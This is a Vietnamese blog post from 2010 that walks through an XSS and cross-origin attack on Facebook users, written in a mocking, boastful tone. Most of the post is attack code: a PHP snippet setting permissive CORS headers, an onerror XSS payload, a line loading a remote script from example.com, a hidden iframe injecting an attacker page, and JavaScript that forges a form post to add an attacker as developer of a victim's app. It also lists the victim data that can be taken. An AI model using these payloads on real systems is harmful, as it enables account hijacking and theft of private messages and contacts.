Wednesday, November 24, 2010

Hấp diêm người dùng f*ckbook


Share/Bookmark
Có thể tham khảo thêm 1 số article tôi collect lại về Crossite Request Forgery để hiểu rõ bản chất của cách tấn công này :-)

Trong bài viết (Hacking Facebook with HTML5- tạm đọc: Làm dư lào để ấy người sử dụng f*ckbook) của mình trên blog matt đã cho thấy ngoài những features đáng giá mà html5 hứa hẹn cho các lập trình viên thì nó cũng tiềm tàng 1 mối nguy hiểm không kém phần hứa hẹn :)), giúp cho các thanh niên đọc hack là hắc hoàn thành giấc mơ có thể ưỡn ngực tự xưng iem nà hắc cơ :|

2 điểm cốt yếu là HTTP access control hoặc Cross-Origin Resource Sharing. 2 thứ này cho phép trình duyệt tạo ajax request cross domain (thực ra hiện tại cũng có thể dùng tricks để thực hiện request cross domain được rầu, không nhất thiết phải chờ đến HTML5)

Exploit :

Điểm chính là 1 code php để chèn thêm 1 vài headers nhằm qua mặt thằng phờ bờ :-"

< ?php
// Specify domains from which requests are allowed
header('Access-Control-Allow-Origin: *');

// Specify which request methods are allowed
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');

// Additional headers which may be sent along with the CORS request
header('Access-Control-Allow-Headers: X-Requested-With');

// Exit early so the page isn't fully loaded for options requests
if (strtolower($_SERVER['REQUEST_METHOD']) == 'options') {
exit();
}
?>
Đoạn code sau cần loadpayload :
< tab="home_menu" id="feed_tabbox" 0nreplace="fb.updateCurrentPage()">
< !mg style="d!splay:none" src="x" 0nerror="al3rt('xss')" />
Chú ý cái đoạn onerror nhá, thằng blogger của ông google cũng dính chưởng á =))

Giờ thì cứ đàng hoàng mà load extend script vào để chơi với nạn nhân thôi :-"

0nerror="$('header').appendChild(document.createElement('script')).src='http://example.com/fb/fb.js'"
Với tình trạng hiện giờ của anh Phắc Búc này thì cứ điềm nhiên mà load 1 iframe với bất cứ cái gì mà bạn thích vào :
< src="http://touch.facebook.com/#http://example.com/xss.php" style="display:none">
Rầu giờ thì bạn có thể làm gì với nạn nhân??? điểm mặt quan trọng nà

* Biết được nạn nhân là ai
* Xem các ảnh
* Đọc tin nhắn
* Đọc tin nhắn đã gửi
* Gửi tin nhắn ( :-o đù chứ cái này mà lợi dụng lừa đảo thì ối thằng vỡ mồm )
* Đọc được cơ số các thông tin mật khác (e-mail, phone, bạn bè)
* Thêm bạn (add friends)
* Đăng comments
chú ý là các phần trên này là cũng đếu cần được người sử dụng kia cho phép nhá, chứ được cho rồi thì cần mẹ gì :-j

Với ngần trên thứ có vẻ vẫn chưa làm hài lòng với 1 cơ số người. Ok, take some change :
Sử dụng "document.domain"bởi vì thằng "http://touch.facebook.com" là con giai thằng facebook.com mà :D, do vậy bạn hoàn toàn có thể define cái này há.
document.domain = 'facebook.com'

Giờ thì có thể trực tiếp đối đáp với ông f*ckbook rồi.

uid = 501558012;
app_id = 123456789012332;
function Image(){
// this should kill the click jacking report
}

// create a new iframe we will use to load facebook.com
var tempIFrame=document.createElement('iframe');

tempIFrame.setAttribute('id','RSIFrame');

// attach the iframe to the page
IFrameObj = document.body.appendChild(tempIFrame);

//once its loaded create a new form element and post the form
IFrameObj.onload = function(){
doc = IFrameObj.contentWindow.document;
IFrameObj.contentWindow.onbeforeleavehooks = [];

new_element = doc.createElement("input");
new_element.setAttribute("type", "hidden");
new_element.setAttribute("name", "new_dev_friends[]");
new_element.setAttribute("id", "new_dev_friends_" uid);
new_element.setAttribute("value", uid);
doc.forms['editapp'].appendChild(new_element);
doc.forms['editapp'].submit();

}

// load the iframe
IFrameObj.src = 'http://www.facebook.com/developers/editapp.php?app_id=' app_id
Trình duyệt phía nạn nhân sẽ thực hiện cho bạn, ajax load payload và ta sử dụng DOM để load iframe vào nhằm thực hiện ý đồ đen tối :-"

Lưu ý :
+ Đối với các thanh niên thích linh tinh :Mềnh không chịu trách nhiệm với bất cứ trường hợp bạn nào ngâm sâu hơn cái này để phang phập linh tinh người sử dụng f*ckbook đâu nhá :"> mềnh chỉ tóm gọn lại hộ thôi =))

+ Đối với người sử dụng f*ckbook: Có bị làm sao với cái f*ckbook thì xin chúc mừng =))

Hết ạ!!!